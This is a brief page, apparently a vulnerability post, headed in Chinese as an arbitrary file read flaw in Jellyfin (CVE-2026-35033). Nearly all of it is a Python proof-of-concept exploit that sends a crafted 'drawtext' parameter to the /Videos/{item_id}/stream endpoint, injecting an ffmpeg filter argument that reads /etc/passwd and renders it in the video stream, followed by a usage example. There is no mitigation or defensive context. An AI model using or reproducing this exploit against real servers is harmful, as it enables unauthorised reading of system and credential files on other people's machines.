CVE-2026-35033 Jellyfin任意文件读取漏洞

import requests def exploit(target_host, item_id): """ Proof of Concept for CVE-2026-35033 Attempts to read /etc/passwd via ffmpeg argument injection. """ url = f"{target_host}/Videos/{item_id}/stream" # Injecting the drawtext filter to read a file params = { "drawtext": "textfile=/etc/passwd:fontcolor=white:fontsize=24:x=10:y=10" } try: response = requests.get(url, params=params, stream=True) if response.status_code == 200: print("[+] Request sent successfully. Check the video stream for file content.") # Note: The content is rendered inside the video, not in the HTTP body text. else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit("http://target-ip:8096", "valid-guid-here")